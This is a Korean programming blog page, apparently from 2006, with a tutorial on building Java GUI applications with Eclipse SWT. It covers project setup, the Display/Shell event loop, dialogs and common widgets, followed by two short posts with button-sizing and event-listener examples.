프로젝트도 만들어지고 했으니 이제 코드를 생성해 보기로 하자. ?HelloWorld 프로젝트 이름을 마우스로 클릭한후 오른쪽 버튼을 클릭하면 팝업메뉴가 뜨는데 여기에서 New > Class를 선택하도록 한다. 그러면 Java Class 생성화면이 나오는데 Name에 ?HelloWorld를 넣고 Finish버튼을 클릭해서 새로운 클래스를 만들어 내도록 한다.

그러면 아래와 같이 ?HelloWorld.java 에디터 화면이 생성된걸 확인할 수 있다.


이제 코드를 완성하도록 하자. 다음은 ?HelloWorld출력을 위한 코드다.
import org.eclipse.swt.widgets.*;
import org.eclipse.swt.*;


public class HelloWorld{
public static void main(String[] args) {
Display display = new Display();
Shell shell = new Shell(display);
Label label = new Label(shell, SWT.NONE);
label.setText("Hello World!");
shell.pack();
label.pack();
shell.open();

while(!shell.isDisposed())
if(!display.readAndDispatch())
display.sleep();
display.dispose();
label.dispose();
}
}

그데 몇몇라인을 보면 빨간색 밑줄이 그어져 있는 것을 볼 수 있을 것이다. 이는 코드에 문제가 있다는 건데, 우리가 swt관련 패키지를 지원할 수 있도록 포함시키지 않았기 때문에 발생하는 에러다. C로 말하자면 -l"라이브러리" 를 하여 라이브러리를 링킹하지 않은것과 비슷하다고 볼 수 있겠다.

이문제의 해결을 위해서는 프로젝트에 swt와 관련된 JAR파일을 추가시켜줘야 한다. 추가시키는 방법은 : 프로젝트 이름을 선택하고 마우스 왼쪽 버튼 클릭후 Properties를 클릭하도록 한다. 여기에서 java Build Path > Libraries를 선택하도록 한다. 그다음 Add External Jars를 클릭해서 SWT관련 JAR파일을 추가시켜주면 된다.


2.2.3 실행 시키기 #
이제 실행시키는 일만 남았다. 마찬가지로 우선 ?HelloWorld 프로젝트를 선택한다음 Run > Run 을 선택하도록 하자.

그러면 다음과 Run환경 설정창이 뜬다. 이 화면을 통해서 우리는 각종 실행 인자와 환경변수와 같은 실행환경을 설정할 수 있다. C코드로 부터 실행파일을 만들때 가장 마지막으로 하는 일이 필요한 오브젝트나 라이브러리를 링크하는 작업이 있다. 마찬가지로 java환경에서도 이러한 작업이 필요로 한다. 우리가 만든 Hello World프로그램의 경우 SWT패키지를 사용하고 있으므로 SWT라이브러리를 사용하라고 알려줄 필요가 있다.

이것은 다음과 같이 VM arguments 에 SWT라이브러리의 경로를 명시해줌으로써 알려줄 수 있다. 경로는 자신의 eclipse 설치 디렉토리에 따라 달라질 수 있다.


swt관련 라이브러리의 경로는 리눅스를 기준으로 ./eclipse/plugins/org.eclipse.swt.gtk_3.0.0/os/linux/x86이다. 참고하기 바란다.

이제 Run 버튼을 클릭해서 실행하도록 하자. 다음과 같은 실행결과물을 확인할 수 있을 것이다.


3 SWT 프로그래밍 일반 #

3.1 SWT 애플리케이션의 기본 구조 #

SWT 애플리케이션은 블럭구조를 가지며 Display, Shell, Widget의 기본 블럭들로 이루어진다. Dispalys는 이벤트 loop를 관리하고 UI 쓰레드와 다른 쓰레드들간의 통신을 제어한다. Shell은 OS의 윈도우 메니저에 의해서 생성되는 윈도우 창을 관리한다. 모든 SWT 애플리케이션은 적어도 하나의 Dispaly와 하나 혹은 그 이상의 Shell 인스턴스를 필요로 한다.

http://www.developer.com/img/articles/2004/03/25/figure_01.gif

위 그림은 SWT 애플리케이션의 대략적인 구성을 서로 다른 관점을 통해서 보여주고 있다. 첫번째 다이아 그램은 UI 객체의 상속관계를 나타내고 있다. 두번째 다이아 그램은 UI 객체의 컨태이너 구조체를 보여주고 있다. 세번째 다이아 그램은 만들어진 UI를 보여준다.

만약 애플리케이션이 다중 쓰레드를 이용한다면 각각의 쓰레드는 자신의 Display 인스턴스를 만들게 된다. 프로그래머는 Display.getCurrent()메서드를 이용해서 최근 활성화된 Dispaly의 인스턴스를 가져올 수 있다.

Shell은 운영체제에서 윈도우를 나타내기 위해서 사용된다. shell은 maximized, normail, minimized 형태를 가질수 있다. shell 두가지 타입이 있다. 하나는 top-level shell로 자식을 생성하며 Display의 메인 윈도우가 된다. 다른 하나는 dialog shell로 다른 shell과 독립된다.

shell의 타입은 쉘의 생성자에 의해서 넘겨지는 style bit 값에 의존적이다. 기본적으로 쉘은 ?DialogShell 타입이 된다. 이는 아무런 인자 없이 만들경우 ?DialogShell이 만들어진다는 뜻이다.

몇몇 위젯의 특성(properties)는 반드시 생성시간에 설정되어야 한다. 이러한 위젯 특성을 style bits라고 부른다. Style bits는 SWT 클래스에 상수로 정의되어 있다. 예를들자면 Button button = new Button(shell, <styleBits>)형식으로 사용할 수 있다. sytle bits는 OR연산자 |를 이용할 수 있다. 만약 테두리가 있는 입력버튼을 만들기를 원한다면 SWT.PUSH | SWT.BORDER 해주면 된다.

3.2 SWT 애플리케이션 제작 #

SWT 애플리 케이션은 다음과 같은 순서로 만들어 진다.
  • Display 생성
  • 하나 이상의 shell 생성
  • shell의 레이아웃 설정
  • shell에 포함될 위젯 생성
  • shell windows을 연다.
  • event dispatching loop 작성
  • display의 배치
다음은 SWT 애플리케이션의 일반적인 구성이다.
import org.eclipse.swt.layout.RowLayout;
import org.eclipse.swt.widgets.Display;
import org.eclipse.swt.widgets.Shell;

public class SliderExample {
public static void main(String args[]) {
Display display = new Display();
// 1
Shell shell = new Shell(display);
// 2
shell.setLayout( new RowLayout());
// 3
// -------------------------------
// 여기에 적당한 코드를 넣는다.
// -------------------------------
shell.pack();
shell.open();
// 4
while( !shell.isDisposed())
// 5
{
if(!display.readAndDispatch())
display.sleep();
}
display.dispose();
// 6
}
}

위 예제는 실제 코드가 없기 때문에 비어있는 윈도우를 생성한다. 이를테면 SWT애플리케이션 제작을 위한 템플릿 코드정도로 생각하면 된다.

  1. 모든 SWT애플리케이션은 Dispaly와
  2. 하나 이상의 Shell을 필요로 한다. shell은 객체의 조합이다.
  3. 만약 layout을 잡지 않는다면, 추가된 위젯은 보이지 않게 된다.
  4. 만들어진 shell을 연다.
  5. 이벤트 핸들링 루프를 만들고 GUI 이벤트를 읽는다.
  6. 사용되지 않는 display를 버린다.

3.3 SWT 패키지들 #

SWT는 여러개의 패키지로 구성되어 있다. 이들 패키지에 대한 자세한 내용은 Eclipse API 문서에 정의되어 있다. 여기에서는 중요한 패키지들을 간단하게 설명하도록 하겠다.

  • org.eclipse.swt : SWT 클래스에 의해서 사용되는 상수와 예외값들이 정의되어 있다. SWT패키지는 SWT, ?SWTException, ?SWTError 3개의 클래스로 구성되어 있다. SWT는 keyboard, error, color, layout, text sylte, button등과 같은 가장 자주 사용되는 라이브러리들을 포함하고 있다.
  • org.eclipse.swt.widgets : 핵심 SWT 위젯 컴포넌트들과 위젯을 지원하기 위한 인터페이스와 클래스들을 포함하고 있다.
  • org.eclipse.swt.events: SWT 컴포넌트들에 의해 사용되는 이벤트 타입과, 리스너, 이벤트들을 정의하고 있다. 이 패키지는 Listener interfaces, Adapter class, Event class를 포함하고 있다.
  • org.eclipse.swt.dnd : SWT 위제에서 drag-and-drop을 지원하기 위한 클래스를 포함한다.
  • org.eclipse.swt.layout : SWT위젯의 자동크기변화와 위치지정과 관련된 클래스를 포함한다.
  • org.eclipse.swt.print : 출력을 위한 클래스 포함
  • org.eclipse.swt.graphics : 점, 선, 면, 색, 커서, 폰트, Graphics context등 이미지와 관련된 클래스를 제공한다.

3.4 다이얼로그 #

다이얼로그는 운영체제의 윈도우 환경에서 지원하는 것을 사용한다. 예를들어 리눅스라면 GTK에서 지원하는 다이얼로그를 사용하게 된다. SWT의 다이얼로그는 Dialog 클래스로 부터 파생된다. dialog는 위젯이 아니지만 위젯을 포함할 수 있다.

http://www.developer.com/img/articles/2004/03/25/figure_02.gif

어떤 다이얼로그들은 properties 를 조정할 수 있다. 다이얼로그는 아래와 같이 사용할 수 있다.
MessageBox messageBox = new MessageBox(shell, SWT.OK|SWT.CANCEL);
if (messageBox.open() == SWT.OK) {
System.out.println("Ok is pressed.");
}
각 다이얼로그는 open()메서드를 이용해서 다른 타입을 리턴받을 수 있다. 예를 들어서 ?MessageBox dialog는 open()메서드로 부터 int 값을 리턴받는다. 그러므로 각각의 다이얼로그 마다 리턴되는 타입에 맞도록 처리를 해주어야 한다.

?ColorDialog는 색선택 창을 보여주는데, RGB 객체를 리턴한다.

?DirectoryDialog는 디렉토리 선택을 위한 창을 보여주는데, open()메서드를 사용할 경우 선택된 디렉토리의 이름(문자열)을 리턴한다.

Font dialog는 시스템에서 제공하는 모든폰트에 대한 목록을 제공하고 선택할 수 있도록 한다. ?FontData 객체가 리턴된다.

?FileDialog는 파일선택 창을 띄운다. 여기에 더해서 확장자 필터, 경로 필터, 파일이름 필터등을 적용할 수 있다. 다이얼로그는 다음과 같은 타입을 가지고 있다.

SWT.OPEN Open 버튼을 보여준다. 파일을 열고자 할때 사용한다.
SWT.SAVE Save 버튼을 보여준다. 파일을 저장할때 사용한다.

?PrintDialog는 프린트와 관련된 여러가지 조작을 할 수 있는 창을 보여준다. open()메서드를 호출했을 경우 ?PrintData 객체를 리턴한다.

?MessageBox 다이얼로그는 사용자와 상호작용하기 위해서 사용할 수 있다. 다이얼로그는 목적에 따라서 여러가지 타입을 가질 수 있는데, 아래와 같이 | 연산을 통해서 다양한 타입을 만들어 낼 수 있다.
MessageBox messageBox = new MessageBox(shell,SWT.OK|SWT.CANCEL|SWT.ICON_WARNING);
messageBox.setMessage("www.korayguclu.de"); messageBox.open();
이렇게 해서 만들어진 다이얼로그는 다음과 같이 보일 것이다. 아래 그림은 리눅스에서 실행시킨 경우다. http://www.joinc.co.kr/albums/album01/akl.png ?MessageBox에서 사용할 수 있느 아이콘은 아래에 정리해 두었으니 참고하기 바란다. || SWT.ICON_ERROR || http://www.developer.com/img/articles/2004/03/25/image_01.gif ||
SWT.ICON_INFORMATION http://www.developer.com/img/articles/2004/03/25/image_02.gif
SWT.ICON_QUESTION http://www.developer.com/img/articles/2004/03/25/image_03.gif
SWT.ICON_WARNING http://www.developer.com/img/articles/2004/03/25/image_04.gif
SWT.ICON_WORKING http://www.developer.com/img/articles/2004/03/25/image_02.gif

3.5 Widgets #

위젯은 윈도우를 구성하는 공통 GUI객체다. 버튼, 체크박스, 팝업메뉴, 슬라이드바, 스핀박스, 텍스트 입력창등이 여기에 포함된다.

SWT GUI 객체는 widget과 Control 클래스로 부터 파생된다. 위젯 객체는 모든 공통 GUI클래스를 위한 기본 클래스와 메서드를 정의하고 있다. Control 클래스는 모든 windowed GUI 클래스의 기본 클래스로 윈도우와 다이얼로그의 display와 관련된 제어를 맡는다.

다음은 위젯의 계층구조를 나타낸 그림이다.

http://www.developer.com/img/articles/2004/03/25/figure_04.gif

3.5.1 위젯 이벤트 #
3.5.2 자주사용하는 위젯 #
http://www.developer.com/img/articles/2004/03/25/figure_05.gif

모든 Control 클래스는 border를 가질 수 있다. border는 SWT.BORDER 상수를 이용해서 추가 시킬 수 있다.

3.5.3 버튼 #
버튼은 다양한 스타일을 가지고 있으며 bit값에 의해서 설정할 수 있다. 아래의 테이블은 버튼과 그 스타일을 정리한 테이블이다.

상수 사용예 설명
SWT.ARROW http://www.developer.com/img/articles/2004/03/25/image_05.gif popup메뉴등을 위해서 사용한다.
SWT.CHECK http://www.developer.com/img/articles/2004/03/25/image_06.gif 체크박스
SWT.PUSH http://www.developer.com/img/articles/2004/03/25/image_07.gif 푸쉬버튼
SWT.RADIO http://www.developer.com/img/articles/2004/03/25/image_08.gif 라디오 버튼
SWT.TOGGLE http://www.developer.com/img/articles/2004/03/25/image_06.gif 푸쉬버튼과 비슷하지만 버튼을 누르면 이전의 누름버튼은 원상태로 된다.

3.5.4 slider, scale, progressBar 위젯 #
scale는 연속된 범위내에서 특정한 값을 선택하기 위해서 사용하는 위젯이다. 범위는 Scale 클래스의 setMinimum()과 setMaximum()메서드를 이용해서 정할 수 있다. 선택된 값은 getSelection()메서드를 이용하면 된다. scale는 한번에 하나의 값만을 가져올 수 있다.

http://www.developer.com/img/articles/2004/03/25/figure_06.gif

생성자를 통해서 넘기는 인자를 통하여 다른 모양의 scale와 slider위젯을 생성할 수 있다. slider와 scale를 위해서 사용되는 상수는 아래와 같다.

SWT.HORIZONTAL 수평으로 배치
SWT.VERTICAL 수직으로 배치

옵션으로 SWT.BORDER 상수를 이용해서 scale주변에 테두리를 만들어 줄수 있다.
final Slider slider = new Slider(shell,SWT.VERTICAL);
slider.setMinimum(0);
slider.setMaximum(100);
slider.setIncrement(5);
slider.setPageIncrement(10);
slider.setSelection(25);
slider.addSelectionListener( new SelectionAdapter() {
public void widgetSelected(SelectionEvent e) {
System.out.println("Selection:"+ slider.getSelection());
}
});

?ProgressBar 위젯은 Slider, Scale 위젯과 비슷하다. 그러나 선택이 불가능하다. 이것은 어떤 작업의 진척정도를 나타내기 위해서 사용한다. SWT.SMOOTH와 SWT.INTERMINATE 상수를 이용해서 ?ProgressBar 위젯을 변경할 수 있다.

3.5.5 텍스트 위젯 #
Text 위젯은 텍스트 편집창을 만들기 위해서 사용한다. 필요에 따라서는 하나의 편집창에서 서로 다른 폰트와 색을 동시에 출력하는 기능을 가진 ?StypleText 위젯을 사용할 수도 있다.. 이 위젯을 사용하면 전경색, 배경색과 폰트를 문자단위로 지정해 줄 수 있다.

http://www.developer.com/img/articles/2004/03/25/figure_07.gif

다음은 text 편집창을 만드는 예제 코드다.
import org.eclipse.swt.layout.RowLayout;
import org.eclipse.swt.widgets.Display;
import org.eclipse.swt.widgets.Shell;
import org.eclipse.swt.widgets.MessageBox;
import org.eclipse.swt.widgets.Slider;
import org.eclipse.swt.SWT;
import org.eclipse.swt.widgets.Text;
public class SliderExample {
public static void main(String args[]) {
Display display = new Display();
Shell shell = new Shell(display);
shell.setLayout( new RowLayout());
Text text = new Text(shell, SWT.MULTI|SWT.WRAP);
text.setText("Hello world!!");
shell.pack();
shell.open();
while( !shell.isDisposed()) {
if(!display.readAndDispatch())
display.sleep();
}
display.dispose();
}
}

3.5.6 List 위젯 #
List widget은 목록중에서 하나의 원소를 선택할 수 있는 인터페이스르 제공한다. 만약에 요소들중 하나를 선택하게 되면 이벤트 리스너에게 신호를 보내게 된다(QT의 슬롯,시그널 개념과 비슷하다.). SWT.SINGLE와 SWT.MULTI를 이용해서 단일 혹은 다중 선택이 가능하다. 리스트 위젯은 기본적으로 스크롤이 가능한 위젯임으로 SWT.H_SCROLL과 SWT.V_SCROLL 상수를 이용할 수 있다.

http://www.developer.com/img/articles/2004/03/25/figure_08.gif

final List list = new List(shell,SWT.MULTI);
for (int i = 1; i < 11; i++) {
list.add(i+".)www.korayguclu.de");
}
list.addSelectionListener( new SelectionAdapter() {
public void widgetSelected(SelectionEvent e) {
List list = (List) e.getSource();
String[] str = list.getSelection();
for (int i = 0; i < str.length; i++) {
System.out.println("Selection: "+str[i]);
}
}
});

3.5.7 Sash 위젯 #
Sash 위젯은 여러개의 위젯이 포함되었을 때, 서로의 영역을 변경할 수 있도록 만들어 준다. 마우스를 Sash 경계에 가져가면 좌우 화살표 혹은 상하 화살표로 바뀌면서 영역의 크기를 조정할 수 있도록 만들어준다.

http://www.developer.com/img/articles/2004/03/25/figure_09.gif

Button button = new Button(shell,SWT.PUSH);
button.setText("Button0");
Sash sash = new Sash(shell, SWT.VERTICAL);
Button button1 = new Button(shell,SWT.PUSH);
button1.setText("Button1");

3.6 Composite 위젯 #

Composite 위젯은 다른 위젯들을 포함해서 그룹화하고 배열시키기 위한 일종의 Container 위젯이다. 또한 위젯 뿐만 아니라 Composite위젯 클래스 자체를 포함시킬 수도 있다. SWT의 Composite는 Swing의 그것다는 달리 add 메서드를 제공하지 않는다. 대신 생성자를 통해서 필요한 위젯을 배치시켜줘야만 한다.

그리고 아래 그림에서 처럼 Shell 자체를 포함시킬 수도 있다.

http://www.developer.com/img/articles/2004/03/25/figure_10.gif

Composite 위젯은 스크롤 가능한 위젯으로 상수 SWT.H_SCROLL 과 SWT.V_SCROLL을 이용해서 스크롤을 추가시킬 수도 있다.

3.6.1 Table 위젯 #
테이블 위젯은 문자열이나 이미지를 출력하기 위한 위젯이다.

posted by 초딩입맛제주아재
2006. 10. 13. 22:11 Programing/Java
 final Button button = new Button(shell,SWT.BUTTON1);
 button.pack();
 button.setSize(100,30);
 button.setText("눌러봐");
 button.pack();
 
 final Button closebutton = new Button(shell,SWT.BUTTON1);
 closebutton.pack();
 closebutton.setSize(100,30);
 closebutton.setLocation(110, 0);
 closebutton.setText("창닫어");

위 버튼은 다음과 같이 출력된다.


두개의 버튼은 각각 100,30 으로 크기를 지정해 주었다.
오른쪽의 창 크기가 100 * 30으로 지정한 크기대로 출력이 되었다.
왼쪽 창의 크기는 지정해준 크기가 아니다.
두 코드의 다른점을 보면 오른쪽 버튼의 소스에는 Control.pcak()메서드가 없다.

Control.pack()메서드의 역할은 바로 이것이다.
적당한 크기로 바꿔주는것.

일일이 control마다 setSize를 해줄 필요가 없을것 같다.

'Programing > Java' 카테고리의 다른 글

윈도우 Java환경 설정  (0) 2006.12.23
에디트플러스 자바 컴파일/실행 설정  (0) 2006.10.16
SWT 연습 - FileTreeContentProvider  (0) 2006.10.13
SWT Study  (0) 2006.10.13
SWT 연습...  (0) 2006.10.13
posted by 초딩입맛제주아재
2006. 10. 13. 21:54 Programing/Java

import org.eclipse.swt.widgets.*;
import org.eclipse.swt.layout.*;
import org.eclipse.swt.*;

public class SWTExample{

  public static void main(String[] args){
    Display display = new Display();
 
Shell shell = new Shell(display);
shell.pack();
// shell.setLayout(new GridLayout());
shell.setSize(450, 400);
shell.setText("This is a window using SWT");


final Button button = new Button(shell,SWT.BUTTON1);
button.pack();
button.setSize(100,30);
button.setText("눌러봐");

final Button closebutton = new Button(shell,SWT.BUTTON1);
closebutton.pack();
closebutton.setSize(100,30);
closebutton.setLocation(110, 0);
closebutton.setText("창닫어");

Listener listener = new Listener(){
  public void handleEvent(Event event){
   if(event.widget == button){
    System.out.println("눌렀네");
   }else if(event.widget == closebutton){
    System.out.println("닫어");
   }
  }
};

button.addListener(SWT.Selection,listener);
closebutton.addListener(SWT.Selection, listener);

shell.open();
 
   
   while(!shell.isDisposed())
       if(!display.readAndDispatch())
     display.sleep();
        
   display.dispose();
}
}



posted by 초딩입맛제주아재